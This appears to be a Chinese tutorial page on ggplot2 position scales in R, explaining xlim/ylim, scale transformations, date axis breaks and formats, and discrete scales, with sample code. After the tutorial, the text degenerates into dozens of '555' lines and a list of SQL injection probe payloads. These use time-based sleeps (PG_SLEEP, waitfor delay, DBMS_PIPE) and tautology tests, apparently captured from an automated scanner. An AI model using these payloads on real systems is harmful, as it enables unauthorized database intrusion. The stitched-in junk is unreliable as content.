每一幅图形一定拥有两个位置标度,一个指定水平位置(x 标度),另一个是指定竖直标度(y 标度)。ggplot2 提供了连续性、离散型(针对因子型、字符型、逻辑向量)、以及日期型。对所有的位置坐标来说,修改坐标轴范围是一项常见任务,使用辅助函数xlim()和ylim()可以减轻我们工作量。比如:
- xlim(10,20):从10 到20 的连续型标度;
- xlim(”a”, “b”, “c”):离散型标度;
- xlim(as.Date(c(“2008-05-01”, “2008-08-01”))):从2008-05-01 到2008-08-01 的日期型标度。
连续型:
常见的连续型位置标度有scale_x_continuous、scale_y_continuous,它们均是将数据映射到x 轴和y 轴。而最有趣的变式是通过变换来生成的,每一个连续型标度都可以接受一个trans 参数,允许指定若干种线性或非线性的变换。
| 名称 | 变换函数f(x) | 逆变换函数f−1(x) |
|---|---|---|
| asn | tanh−1(x)tanh−1(x) | tanh(y) |
| exp | ex | log(y) |
| identity | x | y |
| log | log(x) | ey |
| log10 | log10(x) | 10y |
| log2 | log2(x) | 2y |
| logit | log(x1−x) | 11+e(y) |
| pow10 | 10x | log10(y) |
| probit | Ф(x) | Ф−1(y) |
| recip | x−1 | y−1 |
| reverse | −x | −y |
| sqrt | x12 | y2 |
对于连续型位置标度,变换有简写形式,比如scale_x_continuous(trans = “log10”)可以简写为scale_x_log10()。参数trans 对任意连续型标度均有效,但只有位置标度有简写形式。
当然,可以直接对变量进行变换,而不使用标度变换。比如,直接使用函数log10(x),而不是scale_x_log10(),绘图区域是完全一样的,但坐标轴和标签是不一样的。
set.seed(1410)
dsmall <- diamonds[sample(nrow(diamonds), 100), ]
qplot(data=dsmall,carat,price) + scale_x_log10() + scale_y_log10()
qplot(data=dsmall,log10(carat),log10(price))

日期与时间:
日期与时间值基本属于连续型,但在标注坐标轴时有着特殊的处理方式。目前仅支持date 类日期值、POSIXct 类时间值。如果日期与时间是其他格式的,则需用 as.Date()或as.POSIXct()对其进行转换。
对于日期坐标轴,有三个参数可以控制其外观与刻度位置:major、minor、format。参数细节如下:
- 参数 major 和 minor 用以按照时间的单位,即年(year)、月(month)、周(week)、日(day)、时(hour)、分(minute)、秒(second)来指定主要和次要断点的位置,并且允许以这些单位的倍数出现。例如:major=”2 weeks”将在每隔两周的位置放置一个主刻度。如果未指定,日期标度可以自动选择合适的默认值;
- 参数format 指定了刻度标签的格式。以下表列出了用于展现日期各个组成部分的特殊字符。例如,字符串“\%Y-\%m-\%d”表示以“年-月-日”的格式显示日期。
| 编码 | 含义 |
|---|---|
| \%S | 秒(00-59) |
| \%M | 分钟(00-59) |
| \%l | 小时,12 小时制(1-12) |
| \%I | 小时,12 小时制(01-12) |
| \%H | 小时,24 小时制(00-23) |
| \%a | 缩写的周几(Mon-Sun) |
| \%A | 全称的周几(Monday-Sunday) |
| \%e | 某月中的某天(1-31) |
| \%d | 某月中的某天(01-31) |
| \%m | 以数值表示的月份(01-12) |
| \%b | 缩写的月份(Jan-Dec) |
| \%B | 全称的月份(January-December) |
| \%y | 不含世纪的年份(00-99) |
| \%Y | 含世纪的年份(0000-9999) |
library(scales)
p <- qplot(date,psavert,data=economics,geom='line') + ylab('Personal savings rate') +
geom_hline(xintercept=0,colour='grey50')
p
p + scale_x_date(breaks=date_breaks("5 years"))
p + scale_x_date(breaks=date_breaks("5 years"),minor_breaks='1 years')
p + scale_x_date(breaks=date_breaks("5 years"),labels=date_format('%Y'))


在左上图中,使用的默认标度;右上图,使用参数breaks=date_breaks(“5 years”)指定每隔5 年显示一个刻度值;在左下图中,参数minor_breaks=’1 years’是设定坐标轴显示最小刻度(即每一个刻度代表一年);在右下图中,参数labels=date_format(‘\%Y’)是指定刻度标签格式。
离散型:
离散型位置标度将输入中的各个水平映射为整数。结果的顺序可用参数breaks 进行控制,不想要的水平可以使用limits(或xlim、ylim)进行丢弃。由于我们经常也会在图形的非整点位置放置标签和标注,所以离散型位置标度也可以接受连续型的值。如果你尚未调整breaks 或limits,某个因子水平的所在位置的数值表示可以使用as.numeric()进行计算:以从1 开始的整数表示。
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
(select 198766*667891 from DUAL)
(select 198766*667891)
@@ZUGe8
555����%2527%2522\'\"
555'"
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555nxE5EA8U')) OR 559=(SELECT 559 FROM PG_SLEEP(15))--
555L0j6U34h') OR 956=(SELECT 956 FROM PG_SLEEP(15))--
555D7TTn6dT' OR 551=(SELECT 551 FROM PG_SLEEP(15))--
555-1)) OR 44=(SELECT 44 FROM PG_SLEEP(15))--
555-1) OR 558=(SELECT 558 FROM PG_SLEEP(15))--
555-1 OR 438=(SELECT 438 FROM PG_SLEEP(15))--
555WqOSHHWP'
555-1 waitfor delay '0:0:15' --
555-1)
555-1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555*if(now()=sysdate(),sleep(15),0)
-1" OR 5*5=25 or "xBi6fBiY"="
-1' OR 5*5=25 or 'gkRQcVaX'='
-1" OR 5*5=25 --
-1' OR 5*5=25 --
-1 OR 5*5=25
-1 OR 5*5=25 --
555
555
555